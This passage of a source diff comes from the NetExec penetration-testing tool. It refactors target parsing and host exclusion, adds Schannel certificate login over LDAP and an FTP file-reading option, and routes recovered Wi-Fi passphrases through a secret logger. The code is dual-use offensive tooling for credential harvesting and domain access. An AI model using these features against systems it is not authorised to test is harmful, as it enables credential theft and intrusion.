+                    connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
                 except Exception:
-                    context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
+                    connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
             elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
                 try:
-                    if self.eap_username is not None and self.eap_password is not None:
-                        context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
+                    if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
+                        connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
                     else:
-                        context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
+                        connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
                 except Exception:
-                    context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
+                    connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
             else:
                 context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")

nxc/netexec.py

@@ -1,15 +1,14 @@
 # PYTHON_ARGCOMPLETE_OK
 import contextlib
 import sys
+
 from nxc.helpers.logger import highlight
-from nxc.helpers.misc import identify_target_file, display_modules
-from nxc.parsers.ip import parse_targets
-from nxc.parsers.nmap import parse_nmap_xml
-from nxc.parsers.nessus import parse_nessus_file
+from nxc.helpers.misc import display_modules
 from nxc.cli import gen_cli_args
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
 from nxc.first_run import first_run_setup
+from nxc.parsers.ip import process_targets
 from nxc.paths import NXC_PATH, WORKSPACE_DIR
 from nxc.console import nxc_console
 from nxc.logger import nxc_logger
@@ -21,7 +20,6 @@ from nxc.helpers import powershell
 import signal
 import shutil
 import os
-from os.path import exists
 from os.path import join as path_join
 from sys import exit
 from rich.progress import Progress
@@ -106,12 +104,18 @@ def main():
         nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
         exit(1)
 
+    if args.protocol == "ldap" and args.schannel and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
+        nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
+        exit(1)
+
+    if args.protocol == "smb" and args.unpac and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
+        nxc_logger.fail("--unpac requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
+        exit(1)
+
     if args.use_kcache and not os.environ.get("KRB5CCNAME"):
         nxc_logger.error("KRB5CCNAME environment variable is not set")
         exit(1)
 
-    targets = []
-
     if hasattr(args, "cred_id") and args.cred_id:
         for cred_id in args.cred_id:
             if "-" in str(cred_id):
@@ -124,27 +128,11 @@ def main():
                     nxc_logger.error(f"Error parsing database credential id: {e}")
                     exit(1)
 
-    if hasattr(args, "target") and args.target:
-        for target in args.target:
-            try:
-                if exists(target) and os.path.isfile(target):
-                    target_file_type = identify_target_file(target)
-                    if target_file_type == "nmap":
-                        targets.extend(parse_nmap_xml(target, args.protocol))
-                    elif target_file_type == "nessus":
-                        targets.extend(parse_nessus_file(target, args.protocol))
-                    else:
-                        with open(target) as target_file:
-                            for target_entry in target_file:
-                                targets.extend(parse_targets(target_entry.strip()))
-                else:
-                    targets.extend(parse_targets(target))
-            except Exception as e:
-                nxc_logger.fail(f"Failed to parse target '{target}': {e}")
+    targets = process_targets(args)
 
     # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
     if hasattr(args, "clear_obfscripts") and args.clear_obfscripts:
-        obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
+        obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts")
         shutil.rmtree(obfuscated_dir)
         os.mkdir(obfuscated_dir)
         nxc_logger.success("Cleared cached obfuscated PowerShell scripts")
@@ -176,7 +164,8 @@ def main():
 
     if args.module or args.list_modules is not None:
         loader = ModuleLoader(args, db, nxc_logger)
-        modules = loader.list_modules()
+        # -L lists every module, -M only needs the requested ones
+        modules = loader.list_modules(None if args.list_modules is not None else args.module)
 
     if args.list_modules is not None:
         low_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and not props["requires_admin"]}
@@ -217,7 +206,7 @@ def main():
             proto_module_paths.append(modules[m]["path"])
         protocol_object.module_paths = proto_module_paths
 
-    if args.protocol == "rdp" and args.execute:
+    if args.protocol == "rdp" and (args.execute or args.ps_execute):
         ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red"))
         if ans.lower() not in ["y", "yes", ""]:
             exit(1)

nxc/nxcdb.py

@@ -40,6 +40,17 @@ def write_csv(filename, headers, entries):
             csv_file.writerow(entry)
 
 
+def host_csv_headers(hosts_table, mode="simple"):
+    """Return the CSV header for a hosts export, taken from the protocol's own HostsTable.
+
+    "simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all.
+    """
+    columns = tuple(col.name for col in hosts_table.columns)
+    if mode == "detailed":
+        return columns
+    return columns[:8]
+
+
 def write_list(filename, entries):
     """Writes a file with a simple list"""
     with open(os.path.expanduser(filename), "w") as export_file:
@@ -169,39 +180,13 @@ class DatabaseNavigator(cmd.Cmd):
                 print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
                 return
 
-            csv_header_simple = (
-                "id",
-                "ip",
-                "hostname",
-                "domain",
-                "os",
-                "dc",
-                "smbv1",
-                "signing",
-            )
-            csv_header_detailed = (
-                "id",
-                "ip",
-                "hostname",
-                "domain",
-                "os",
-                "dc",
-                "smbv1",
-                "signing",
-                "spooler",
-                "zerologon",
-                "petitpotam",
-            )
             filename = line[2]
 
             if line[1].lower() == "simple":
-                hosts = self.db.get_hosts()
-                simple_hosts = [host[:8] for host in hosts]
-                write_csv(filename, csv_header_simple, simple_hosts)
-            # TODO: maybe add more detail like who is an admin on it, shares discovered, etc
+                csv_header = host_csv_headers(self.db.HostsTable, "simple")
+                write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()])
             elif line[1].lower() == "detailed":
-                hosts = self.db.get_hosts()
-                write_csv(filename, csv_header_detailed, hosts)
+                write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts())
             elif line[1].lower() == "signing":
                 hosts = self.db.get_hosts("signing")
                 signing_hosts = [host[1] for host in hosts]

nxc/parsers/ip.py

@@ -1,22 +1,135 @@
+import netifaces
 from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
+from nxc.helpers.logger import highlight
+from nxc.helpers.misc import identify_target_file
+from nxc.config import exclude_hosts, skip_self
+from nxc.logger import nxc_logger
+from nxc.parsers.nmap import parse_nmap_xml
+from nxc.parsers.nessus import parse_nessus_file
+
+from os.path import exists, isfile
+from pathlib import Path
+from sys import exit
+
+
+def process_targets(args):
+    targets = []
+    if hasattr(args, "target") and args.target:
+        for target in args.target:
+            try:
+                if exists(target) and isfile(target):
+                    target_file_type = identify_target_file(target)
+                    if target_file_type == "nmap":
+                        targets.extend(parse_nmap_xml(target, args.protocol))
+                    elif target_file_type == "nessus":
+                        targets.extend(parse_nessus_file(target, args.protocol))
+                    else:
+                        with open(target) as target_file:
+                            for target_entry in target_file:
+                                targets.extend(parse_targets(target_entry.strip()))
+                else:
+                    targets.extend(parse_targets(target))
+            except Exception as e:
+                nxc_logger.fail(f"Failed to parse target '{target}': {e}")
+
+    # Handle exclusions from config
+    excluded_ips = set()
+
+    # Process exclude_hosts from config. Important, we are reusing the parse_targets because it
+    # already provides the code necessary for parsing all provided inputs
+    if args.exclude_hosts is not None:
+        exclude_hosts.extend(args.exclude_hosts)
+
+    for excluded in exclude_hosts:
+        if Path(excluded).is_file():
+            with open(excluded) as excluded_file:
+                for line in excluded_file.readlines():
+                    excluded_ips.update(parse_targets(line.strip()))
+        else:
+            excluded_ips.update(parse_targets(excluded))
+
+    # Process skip_self from config and cli argument
+    if skip_self or args.skip_self:
+        local_ips = get_local_ips()
+        if local_ips:
+            nxc_logger.debug(f"Local IP addresses detected: {local_ips}")
+            excluded_ips.update(local_ips)
+        else:
+            nxc_logger.error("Could not determine local IP address for skip_self")
+
+    # Validate that all objects to be excluded are valid IP addresses
+    try:
+        for ip in excluded_ips:
+            ip_address(ip)
+    except ValueError as e:
+        nxc_logger.error(f"Invalid IP address in excluded hosts: {e}")
+        exit(1)
+
+    # Filter out excluded targets
+    if excluded_ips:
+        ignore_target_warning = False
+        for target in targets:
+            try:
+                ip_address(target)
+            except ValueError:
+                if not ignore_target_warning:
+                    ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red"))
+                    if ans.lower() not in ["y", "yes", ""]:
+                        exit(1)
+                    ignore_target_warning = True
+
+        original_count = len(targets)
+        excluded_targets = [target for target in targets if target in excluded_ips]
+        targets = [target for target in targets if target not in excluded_ips]
+        nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}")
+    return targets
+
+
+def get_local_ips():
+    """Get the local IP address using netifaces library."""
+    interfaces = netifaces.interfaces()
+    ips = set()
+
+    for interface in interfaces:
+        # Skip loopback interface
+        if interface == "lo" or interface.startswith("lo"):
+            continue
+
+        addresses = netifaces.ifaddresses(interface)
+        if netifaces.AF_INET in addresses:
+            for addr_info in addresses[netifaces.AF_INET]:
+                ip = addr_info.get("addr")
+                # Skip localhost and link-local addresses
+                if ip and not ip.startswith("127.") and not ip.startswith("169.254."):
+                    ips.add(ip)
+        if netifaces.AF_INET6 in addresses:
+            for addr_info in addresses[netifaces.AF_INET6]:
+                ip = addr_info.get("addr")
+                # Skip localhost and link-local addresses
+                if ip and not ip.startswith("::1") and not ip.startswith("fe80::"):
+                    ips.add(ip)
+    return ips
 
 
 def parse_targets(target):
     try:
         if "-" in target:
             start_ip, end_ip = target.split("-")
+            start = ip_address(start_ip)
             try:
-                end_ip = ip_address(end_ip)
+                end = ip_address(end_ip)
             except ValueError:
-                first_three_octets = start_ip.split(".")[:-1]
-                first_three_octets.append(end_ip)
-                end_ip = ip_address(".".join(first_three_octets))
+                sep = ":" if start.version == 6 else "."
+                prefix = start_ip.split(sep)[:-1]
+                prefix.append(end_ip)
+                end = ip_address(sep.join(prefix))
 
-            for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
+            for ip_range in summarize_address_range(start, end):
                 for ip in ip_range:
                     yield str(ip)
         else:
-            if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
+            ip = ip_interface(target).ip
+            if ip.version == 6 and ip.is_link_local:
                 yield str(target)
             else:
                 for ip in ip_network(target, strict=False):

nxc/parsers/nessus.py

@@ -7,6 +7,12 @@ protocol_dict = {
     "ssh": {"ports": [22], "services": ["ssh"]},
     "winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
     "http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
+    "rdp": {"ports": [3389], "services": ["msrdp", "rdp", "ms-wbt-server"]},
+    "vnc": {"ports": [5900, 5901, 5902, 5903], "services": ["vnc", "rfb"]},
+    "ftp": {"ports": [21], "services": ["ftp"]},
+    "ldap": {"ports": [389, 636], "services": ["ldap"]},
+    "wmi": {"ports": [135], "services": ["epmap"]},
+    "nfs": {"ports": [2049], "services": ["rpc-nfs", "nfs"]},
 }
 
 
@@ -23,12 +29,11 @@ def parse_nessus_file(nessus_file, protocol):
             if ip in targets:
                 return True
 
-            port = item["ReportItem"]["port"]
+            # Nessus stores the port as a string, the lookup table uses ints
+            port = int(item["ReportItem"]["port"])
             svc_name = item["ReportItem"]["svc_name"]
 
-            if port in protocol_dict[protocol]["ports"]:
-                targets.append(ip)
-            if svc_name in protocol_dict[protocol]["services"]:
+            if port in protocol_dict[protocol]["ports"] or svc_name in protocol_dict[protocol]["services"]:
                 targets.append(ip)
 
             return True

nxc/protocols/ftp.py

@@ -1,15 +1,16 @@
+from io import BytesIO
 import os
 from nxc.config import process_secret
 from nxc.connection import connection
 from nxc.helpers.logger import highlight
 from nxc.logger import NXCAdapter
-from ftplib import FTP, error_perm
+from ftplib import FTP, error_perm, error_temp
 
 
 class ftp(connection):
     def __init__(self, args, db, host):
         self.protocol = "FTP"
-        self.remote_version = None
+        self.welcome_banner = ""
 
         super().__init__(args, db, host)
 
@@ -26,11 +27,12 @@ class ftp(connection):
     def enum_host_info(self):
         welcome = self.conn.getwelcome()
         self.logger.debug(f"Welcome result: {welcome}")
-        self.remote_version = welcome.split("220", 1)[1].strip()  # strip out the extra space in the front
-        self.logger.debug(f"Remote version: {self.remote_version}")
+        for line in welcome.splitlines():
+            self.welcome_banner += line.split("220", 1)[1].strip()  # strip out the extra space in the front
+        self.logger.debug(f"Remote version: {self.welcome_banner}")
 
     def print_host_info(self):
-        self.logger.display(f"Banner: {self.remote_version}")
+        self.logger.display(f"Banner: {self.welcome_banner}")
 
     def create_conn_obj(self):
         self.conn = FTP()
@@ -50,13 +52,12 @@ class ftp(connection):
             self.logger.debug(f"Response: {resp}")
         except Exception as e:
             self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
-            self.conn.close()
             return False
 
         # 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
         if "230" in resp:
             self.logger.debug(f"Host: {self.host} Port: {self.port}")
-            self.db.add_host(self.host, self.port, self.remote_version)
+            self.db.add_host(self.host, self.port, self.welcome_banner)
 
             cred_id = self.db.add_credential(username, password)
 
@@ -101,8 +102,9 @@ class ftp(connection):
             self.put_file(self.args.put[0], self.args.put[1])
 
         if not self.args.continue_on_success:
-            self.conn.close()
             return True
+
+    def disconnect(self):
         self.conn.close()
 
     def list_directory_full(self):
@@ -115,6 +117,10 @@ class ftp(connection):
             self.logger.fail(f"Failed to list directory. Response: ({error_message})")
             self.conn.close()
             return False
+        except error_temp as e:
+            self.logger.fail(e)
+            self.conn.close()
+            return False
         return files
 
     def get_file(self, filename):
@@ -125,8 +131,6 @@ class ftp(connection):
             if self.conn.encoding == "utf-8":
                 # Switch the connection to binary
                 self.conn.sendcmd("TYPE I")
-            # Check if the file exists
-            self.conn.size(filename)
             # Attempt to download the file
             with open(downloaded_file, "wb") as f:
                 self.conn.retrbinary(f"RETR {filename}", f.write)
@@ -161,6 +165,30 @@ class ftp(connection):
         else:
             self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
 
+    def cat(self):
+        # Extract the filename from the path
+        remote_file = self.args.cat
+        try:
+            # Check if the current connection is ASCII (ASCII does not support .size())
+            if self.conn.encoding == "utf-8":
+                # Switch the connection to binary
+                self.conn.sendcmd("TYPE I")
+            # Attempt to get the file content
+            buf = BytesIO()
+            self.conn.retrbinary(f"RETR {remote_file}", buf.write)
+        except error_perm as error_message:
+            self.logger.fail(f"Failed to get file content. Response: ({error_message})")
+            return False
+        except FileNotFoundError:
+            self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
+            return False
+
+        try:
+            for line in buf.getvalue().decode().splitlines():
+                self.logger.highlight(line)
+        except UnicodeDecodeError as e:
+            self.logger.fail(f"File is not in UTF-8: {e}")
+
     def supported_commands(self):
         raw_supported_commands = self.conn.sendcmd("HELP")
         supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]

nxc/protocols/ftp/proto_args.py

@@ -7,6 +7,7 @@ def proto_args(parser, parents):
 
     cgroup = ftp_parser.add_argument_group("File Operations")
     cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
+    cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
     cgroup.add_argument("--get", metavar="FILE", help="Download a file")
     cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
     return parser

nxc/protocols/ldap.py

@@ -12,7 +12,6 @@ from re import sub, IGNORECASE
 from zipfile import ZipFile
 from termcolor import colored
 from dns import resolver
-from dateutil.relativedelta import relativedelta as rd
 
 from OpenSSL.SSL import SysCallError
 from bloodhound.ad.authentication import ADAuthentication
@@ -41,7 +40,8 @@ from impacket.ntlm import getNTLMSSPType1
 from nxc.config import process_secret, host_info_colors
 from nxc.connection import connection
 from nxc.helpers.bloodhound import add_user_bh
-from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
+from nxc.helpers.pfx import certificate_options
+from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns
 from nxc.logger import NXCAdapter
 from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
 from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
@@ -65,6 +65,9 @@ ldap_error_status = {
     "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
 }
 
+# LDAP authenticationChoice sent to the DC, as displayed to the operator
+auth_methods = {"sasl": "NTLM", "simple": "SIMPLE bind", "external": "Schannel"}
+
 
 class ldap(connection):
     def __init__(self, args, db, host):
@@ -133,25 +136,20 @@ class ldap(connection):
         return True
 
     def get_ldap_username(self):
-        extended_request = ldapasn1_impacket.ExtendedRequest()
-        extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3"  # whoami
-
-        response = self.ldap_connection.sendReceive(extended_request)
-        for message in response:
-            search_result = message["protocolOp"].getComponent()
-            if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
-                response_value = search_result["responseValue"]
-                if response_value.hasValue():
-                    value = response_value.asOctets().decode(response_value.encoding)[2:]
-                    return value.split("\\")[1]
-        return ""
+        try:
+            # impacket returns the raw RFC 4532 identity, "u:DOMAIN\user" on a DC
+            return self.ldap_connection.whoami().split("\\")[-1]
+        except ldap_impacket.LDAPSessionError as e:
+            self.logger.debug(f"LDAP whoami request failed: {e}")
+            return ""
 
     def check_ldap_signing(self):
-        self.signing_required = False
+        self.signing_required = None
         ldap_url = f"ldap://{self.target}"
         try:
             ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
             ldap_connection.login(domain=self.domain)
+            self.signing_required = False
             self.logger.debug(f"LDAP signing is not enforced on {self.host}")
         except ldap_impacket.LDAPSessionError as e:
             if str(e).find("strongerAuthRequired") >= 0:
@@ -159,6 +157,8 @@ class ldap(connection):
                 self.signing_required = True
             else:
                 self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
+        except OSError as e:
+            self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
 
     def check_ldaps_cbt(self):
         self.cbt_status = "Never"
@@ -185,6 +185,7 @@ class ldap(connection):
                         self.cbt_status = "When Supported"  # CBT is When Supported
             else:
                 self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
+                self.cbt_status = "Unknown"
         except SysCallError as e:
             self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
             if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
@@ -222,14 +223,14 @@ class ldap(connection):
         except Exception as e:
             self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
 
-        self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
-        self.target = target
-        self.targetDomain = target_domain
+        self.target = sanitize_dns(target or self.host, self.logger)
+        self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger)
         self.baseDN = base_dn
+        self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
 
         # Parse hostname and remoteName
-        self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
-        self.remoteName = self.target
+        self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
+        self.remoteName = self.target if self.kerberos else self.host
 
         # Parse NTLM challenge
         ntlm_challenge = None
@@ -283,7 +284,12 @@ class ldap(connection):
 
     def print_host_info(self):
         self.logger.debug("Printing host info for LDAP")
-        signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
+        if self.signing_required is True:
+            signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
+        elif self.signing_required is False:
+            signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
+        else:
+            signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
         cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
         ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
 
@@ -334,7 +340,7 @@ class ldap(connection):
             self.logger.extra["port"] = "636" if self.port == 636 else "389"
             proto = "ldaps" if self.port == 636 else "ldap"
             ldap_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
+            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using Kerberos")
             self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
             self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
             if self.username == "":
@@ -393,7 +399,7 @@ class ldap(connection):
                     self.logger.extra["port"] = "636"
                     self.port = 636
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using Kerberos")
                     self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
                     self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
                     if self.username == "":
@@ -451,21 +457,42 @@ class ldap(connection):
                     hash_asreproast.write(f"{hash_tgt}\n")
             return False
 
+        cert_options = {}
+        cert_tmp_file = None
+        if self.args.schannel:
+            try:
+                cert_options, cert_tmp_file = certificate_options(self.args)
+            except (OSError, ValueError) as e:
+                self.logger.fail(f"Failed to load the certificate material: {e}")
+                return False
+
         try:
             # Connect to LDAP
             self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
             self.logger.extra["port"] = "636" if self.port == 636 else "389"
             proto = "ldaps" if self.port == 636 else "ldap"
             ldap_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
-            self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
-            self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
-            self.check_if_admin()
-            self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
-            self.db.add_credential("plaintext", domain, self.username, self.password)
+            authentication_choice = "external" if self.args.schannel else self.auth_choice
+            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using {auth_methods[authentication_choice]}")
+            self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout, **cert_options)
+            self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=authentication_choice)
 
-            # Prepare success credential text
-            self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
+            if self.args.schannel:
+                # The certificate is mapped to an account server-side, so whoami is the only way to know who we are
+                netbios_domain, _, self.username = self.ldap_connection.whoami().removeprefix("u:").partition("\\")
+                # The mapped account can belong to another domain of the forest, and whoami only returns its NetBIOS domain name
+                cross_ref = parse_result_attributes(self.search(f"(&(objectClass=crossRef)(nETBIOSName={netbios_domain}))", ["dnsRoot"], baseDN=f"CN=Partitions,{self.configuration_context}"))
+                self.domain = cross_ref[0]["dnsRoot"] if cross_ref else netbios_domain
+
+            self.check_if_admin()
+
+            # A certificate bind has no secret to store, the account comes from the certificate mapping
+            if not self.args.schannel:
+                self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
+                self.db.add_credential("plaintext", domain, self.username, self.password)
+
+            used_certificate = " from certificate" if self.args.schannel else f":{process_secret(self.password)}"
+            self.logger.success(f"{self.domain}\\{self.username}{used_certificate} {self.mark_pwned()}")
 
             if self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
@@ -473,6 +500,13 @@ class ldap(connection):
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
             return True
         except ldap_impacket.LDAPSessionError as e:
+            if self.args.schannel:
+                # The error mapping below reads NTLM status codes, which a certificate bind never returns
+                if "did not receive any credentials via TLS" in str(e) or "connection is anonymous" in str(e):
+                    self.logger.fail("Schannel authentication failed: the DC did not map the certificate to an account")
+                else:
+                    self.logger.fail(f"Schannel authentication failed: {e}")
+                return False
             if str(e).find("strongerAuthRequired") >= 0:
                 # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
                 if self.args.simple_bind:
@@ -486,7 +520,7 @@ class ldap(connection):
                     self.logger.extra["port"] = "636"
                     self.port = 636
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using {auth_methods[self.auth_choice]}")
                     self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
                     self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
                     self.check_if_admin()
@@ -517,6 +551,9 @@ class ldap(connection):
         except OSError as e:
             self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
             return False
+        finally:
+            if cert_tmp_file and os.path.exists(cert_tmp_file):
+                os.remove(cert_tmp_file)
 
     def hash_login(self, domain, username, ntlm_hash):
         self.logger.extra["protocol"] = "LDAP"
@@ -553,7 +590,7 @@ class ldap(connection):
             self.logger.extra["port"] = "636" if self.port == 636 else "389"
             proto = "ldaps" if self.port == 636 else "ldap"
             ldaps_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
+            self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
             self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
             self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
             self.check_if_admin()
@@ -579,7 +616,7 @@ class ldap(connection):
                     self.logger.extra["port"] = "636"
                     self.port = 636
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
                     self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
                     self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
                     self.check_if_admin()
@@ -622,7 +659,7 @@ class ldap(connection):
         resp = self.search(search_filter, attributes, baseDN=self.baseDN)
         resp_parsed = parse_result_attributes(resp)
 
-        if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
+        if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache or self.args.schannel) and self.username != "":
             for item in resp_parsed:
                 self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
 
@@ -674,7 +711,8 @@ class ldap(connection):
                 self.logger.debug(f"Search Filter={searchFilter}")
 
                 # Microsoft Active Directory set an hard limit of 1000 entries returned by any search
-                paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
+                # A baseObject search returns one entry at most, and AD refuses the paged control on an anonymous rootDSE read
+                paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.scope is None else None
                 return self.ldap_connection.search(
                     scope=self.scope,
                     searchBase=baseDN,
@@ -744,12 +782,12 @@ class ldap(connection):
         self.users()
 
     def groups(self):
-        # Building the search filter
+        # Group specific member search
         if self.args.groups:
             self.logger.debug(f"Dumping group: {self.args.groups}")
 
-            # Resolve group DN and primaryGroupID (objectSid)
-            group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
